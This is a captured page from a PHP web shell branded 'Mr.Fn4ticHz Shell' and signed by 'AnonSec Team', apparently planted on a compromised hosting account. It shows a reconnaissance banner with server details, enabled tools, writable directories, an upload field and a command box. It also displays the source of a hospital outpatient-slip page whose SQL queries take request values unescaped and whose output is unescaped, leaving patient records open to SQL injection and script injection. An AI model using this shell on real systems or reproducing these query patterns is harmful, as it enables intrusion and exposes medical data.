Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.14.134.17
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//opdslip.php
<?php session_start();
require_once("../patientmanager.php");
require_once("../DBManager.php");
include("header.php");
include("dashboarddocument.php");

if(isset($_POST[investig])) {
PatientManager::nwinvestigation("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Investigation]","$_POST[Result]","$_POST[Evidence]","$_POST[enteredby]");
}
else if( $_POST['submit_1'] ) {
    PatientManager::opdslip("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Admission_diagnosis]","$_POST[procedure_date]","$_POST[enteredby]");
}

?>
<?php
include("dbconnection.php");
if(isset($_GET[delid]))
{
	$sql ="DELETE FROM investigation WHERE id='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Deleted successfully..');</script>";
	}
}
?>

<?php
if(isset($_POST[potential]))
{
	PatientManager::potential("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Potential_Side_Effects]","$_POST[enteredby]");
}
?>


<?php


if(isset($_POST[submit]))
{
	{
		$sql ="INSERT INTO regularmedicine(patientid,medicinename,dose,Frequency) values('$_POST[patientid]','$_POST[medicinename]','$_POST[dose]','$_POST[Frequency]')";
		if($qsql = mysqli_query($con,$sql))
		{
			echo "<script>alert('Medicine  record inserted successfully...');</script>";
		}
		else
		{
			echo mysqli_error($con);
		}
	}
}
if(isset($_GET[editid]))
{
	$sql="SELECT * FROM immunization WHERE patientid='$_GET[editid]' ";
	$qsql = mysqli_query($con,$sql);
	$rsedit = mysqli_fetch_array($qsql);
	
}
if(isset($_SESSION[patientid]))
{
$sqlpatient = "SELECT * FROM patient WHERE patientid='$_SESSION[patientid]' ";
$qsqlpatient = mysqli_query($con,$sqlpatient);
$rspatient = mysqli_fetch_array($qsqlpatient);
$readonly = " readonly";
}
?>
  <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
 <div class="content-wrapper">
   	<div class='center'>
<div class="card-body">
<h2 align="center">OPD SLIP</h2>
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
      
         <th>Wt </th>
          <th>SPo2 </th> 
          <th>RBS    </th>
           <th>Temp</th>
            <th>Pulse</th>
             <th>BP</th>
                               </tr>
                  </thead>
                 <tr><?php
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
  
     <tr>   <td>&nbsp;$rs[Wt]</td>     
            <td>&nbsp;$rs[SPo2]</td>
             <td>&nbsp;$rs[RBS]</td>     
            <td>&nbsp;$rs[Temp]</td>
			 <td>&nbsp;$rs[Pulse]</td>     
            <td>&nbsp;$rs[BP]</td>	
                  
          
          ";
}
?>    
       </tr>
                  </thead>
                  
				

                   </tbody>

        </table>
	
 

   <form method="post" action="" name="submit" onSubmit="return validateform()">
 	<table id="example2" class="table table-bordered table-hover">  
      <tbody>
           <?php
		  	$sqlpatient= "SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
			$qsqlpatient = mysqli_query($con,$sqlpatient);
			while($rr=mysqli_fetch_array($qsqlpatient))
			{
			
         
       	echo "
		
	           <tr> <td height='62'> Consultant:   </td>
	           <td>$rr[Admitted_Under]</td></tr>
           
        </tr>
            <tr> <td height='62'> Vulnerability Assessment:    </td>
                  <td>$rr[Vulnevilty_Assessment]</td>
				  </tr>
				   ";
          	}
		  ?>
		  </tbody>
    </table>
			
          <h3 align="center">Past  Medical History </h3>
          
          <table id="example2" class="table table-bordered table-hover">
                  <thead>
                 
<tr><th>Medical Condition</th><th>Status</th></tr>

			 <?php
		$sql ="SELECT * FROM medi_condition_final WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[medicalcon]</td>     
            <td>&nbsp;$rs[Status]</td>
				
          </tr>                   
          
          ";
}
?>          
         
<form method="post" name="submit_1">
            	
 <table id="example2" class="table table-bordered table-hover">
                  <thead>
                   	<tr>
                   	    
          <td height="62">Admission diagnosis :  </td>
          <td><input type="text" placeholder="Admission diagnosis" name="Admission_diagnosis" id="Admission_diagnosis" ></td>
        </tr>
        
        	<tr>
          <td height="62">Operative procedure date : </td>
          <td><input type="date" placeholder="Operative procedure date" name="procedure_date" id="procedure_date" ></td>
        </tr>
        
      </tbody>
    </table>

        <p align="center"><input type="submit" name="submit_1" id="submit_1" value="Save" /></p>
          
</form>
	</div>
<div class='center'>
<h3 align="center">Investigation</h3>
    <div class="card-body">
  
<form method="post"name="investig">
	<table id="example2" class="table table-bordered table-hover">  
	<thead>
                    <tr>
          <td>Request Investigation</td>
          <td><select name="Investigation" id="country">
	<option value="">Investigation</option>
	<option value="CBC">CBC</option>
	<option value="RFT">RFT</option>
	<option value="ABG">ABG</option>
	<option value="LFT">LFT</option>
	<option value="X-RAY">X-RAY</option>
	<option value="SUGAR">SUGAR</option>
	<option value="2D ECHO">2D ECHO</option>
	<option value="CT">CT</option>
	<option value="MRI">MRI</option>
	<option value="PT/PTT">PT/PTT</option>
	<option value="ECG">ECG</option>
	<option value="USG">USG</option>
</select></td>
        </tr>
        <tr><td></td><td>
           <input type="submit" value="Add" name="investig"></td></tr>
    </form>
</div>


<table id="example2"  id ="demo" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  <div id="listingTable">
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
         <th><strong>Date Time</strong></th>
         <th><strong>Investigation</strong></th>
          <th><strong>Result</strong></th> 
          <th><strong>Evidence (Upload)</strong></th>
               <th><strong>Action</strong></th>
                       </tr>
                  </thead>
                  
               
                 
<?php
			$sql ="SELECT * FROM investigation WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[created_at]</td>     
            <td>&nbsp;$rs[Investigation]</td>
           <td>&nbsp;$rs[Result]</td>
		   <td>&nbsp;$rs[Evidence]</td>
		 <td><a href='opdslip.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&delid=$rs[id]'>Delete</a></td>

	
          </tr>                   
          
          ";
}
?>  

</tbody>
</table>
</div>
<?php include('meditest.php');?>
	<form name="potential" method="post">

&nbsp; <label>Potential Side Effects</label>
&nbsp; <input type="text" name="Potential_Side_Effects">
<input type="submit" name="potential" value="Add">
	 </form>
	<?php include('tryfetch.php');?>
	 <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
                    <ul class='nav nav-pills ml-auto p-2'>
         <th><strong>Drugs</strong></th>
         <th><strong>Dose</strong></th>
          <th><strong>Route</strong></th> 
          <th><strong>Frequency</strong></th>
                       </tr>
                  </thead>
                 
<?php
		$sql ="SELECT * FROM medicinede WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[DRUGS]</td>     
            <td>&nbsp;$rs[Dose]</td>
           <td>&nbsp;$rs[Route]</td>
		   <td>&nbsp;$rs[Frequency]</td>
          </tr>                   
          
          ";
}
?> 
</tbody>
</table>
	

        <input type="submit" name="print" id="print" value="Print Page" onclick="myFunction()"/>
  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footer.php");
?>


<script>
function myFunction()
{
	window.print();
}
</script>
<script type="application/javascript">
var alphaExp = /^[a-zA-Z]+$/; //Variable to validate only alphabets
var alphaspaceExp = /^[a-zA-Z\s]+$/; //Variable to validate only alphabets and space
var numericExpression = /^[0-9]+$/; //Variable to validate only numbers
var alphanumericExp = /^[0-9a-zA-Z]+$/; //Variable to validate numbers and alphabets
var emailExp = /^[\w\-\.\+]+\@[a-zA-Z0-9\.\-]+\.[a-zA-z0-9]{2,4}$/; //Variable to validate Email ID 

function validateform()
{
	if(document.frmpatapp.patiente.value == "")
	{
		alert("Patient name should not be empty..");
		document.frmpatapp.patiente.focus();
		return false;
	}
	else if(!document.frmpatapp.patiente.value.match(alphaspaceExp))
	{
		alert("Patient name not valid..");
		document.frmpatapp.patiente.focus();
		return false;
	}
	else if(document.frmpatapp.textarea.value == "")
	{
		alert("Address should not be empty..");
		document.frmpatapp.textarea.focus();
		return false;
	}
	else if(document.frmpatapp.city.value == "")
	{
		alert("City should not be empty..");
		document.frmpatapp.city.focus();
		return false;
	}
	else if(!document.frmpatapp.city.value.match(alphaspaceExp))
	{
		alert("City name not valid..");
		document.frmpatapp.city.focus();
		return false;
	}
	else if(document.frmpatapp.mobileno.value == "")
	{
		alert("Mobile number should not be empty..");
		document.frmpatapp.mobileno.focus();
		return false;
	}
	else if(!document.frmpatapp.mobileno.value.match(numericExpression))
	{
		alert("Mobile number not valid..");
		document.frmpatapp.mobileno.focus();
		return false;
	}
	else if(document.frmpatapp.loginid.value == "")
	{
		alert("login ID should not be empty..");
		document.frmpatapp.loginid.focus();
		return false;
	}
	else if(!document.frmpatapp.loginid.value.match(alphanumericExp))
	{
		alert("login ID not valid..");
		document.frmpatapp.loginid.focus();
		return false;
	}
	else if(document.frmpatapp.password.value == "")
	{
		alert("Password should not be empty..");
		document.frmpatapp.password.focus();
		return false;
	}
	else if(document.frmpatapp.password.value.length < 8)
	{
		alert("Password length should be more than 8 characters...");
		document.frmpatapp.password.focus();
		return false;
	}
	else if(document.frmpatapp.select6.value == "")
	{
		alert("Gender should not be empty..");
		document.frmpatapp.select6.focus();
		return false;
	}
	else if(document.frmpatapp.dob.value == "")
	{
		alert("Date Of Birth should not be empty..");
		document.frmpatapp.dob.focus();
		return false;
	}
	else if(document.frmpatapp.appointmentdate.value == "")
	{
		alert("Appointment date should not be empty..");
		document.frmpatapp.appointmentdate.focus();
		return false;
	}
	else if(document.frmpatapp.appointmenttime.value == "")
	{
		alert("Appointment time should not be empty..");
		document.frmpatapp.appointmenttime.focus();
		return false;
	}
	else
	{
		return true;
	}
}

function loaddoctor(deptid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdoc").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","departmentDoctor.php?deptid="+deptid,true);
        xmlhttp.send();
}
</script>
<script>
$('#demo').pagination({
    dataSource: [1, 2, 3, 4, 5, 6, 7, ... , 50],
    pageSize: 5,
    pageRange: null,
    showPageNumbers: true,
    callback: function(data, pagination) {
        // template method of yourself
        var html = template(data);
        dataContainer.html(html);
    }
})
$(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
  var current_page = 1;
var records_per_page = 2;

var objJson = [
    { adName: "AdName 1"},
    { adName: "AdName 2"},
    { adName: "AdName 3"},
    { adName: "AdName 4"},
    { adName: "AdName 5"},
    { adName: "AdName 6"},
    { adName: "AdName 7"},
    { adName: "AdName 8"},
    { adName: "AdName 9"},
    { adName: "AdName 10"}
]; // Can be obtained from another source, such as your objJson variable

function prevPage()
{
    if (current_page > 1) {
        current_page--;
        changePage(current_page);
    }
}

function nextPage()
{
    if (current_page < numPages()) {
        current_page++;
        changePage(current_page);
    }
}

function changePage(page)
{
    var btn_next = document.getElementById("btn_next");
    var btn_prev = document.getElementById("btn_prev");
    var listing_table = document.getElementById("listingTable");
    var page_span = document.getElementById("page");

    // Validate page
    if (page < 1) page = 1;
    if (page > numPages()) page = numPages();

    listing_table.innerHTML = "";

    for (var i = (page-1) * records_per_page; i < (page * records_per_page); i++) {
        listing_table.innerHTML += objJson[i].adName + "<br>";
    }
    page_span.innerHTML = page;

    if (page == 1) {
        btn_prev.style.visibility = "hidden";
    } else {
        btn_prev.style.visibility = "visible";
    }

    if (page == numPages()) {
        btn_next.style.visibility = "hidden";
    } else {
        btn_next.style.visibility = "visible";
    }
}

function numPages()
{
    return Math.ceil(objJson.length / records_per_page);
}

window.onload = function() {
    changePage(1);
};
</script>




Anon7 - 2022
AnonSec Team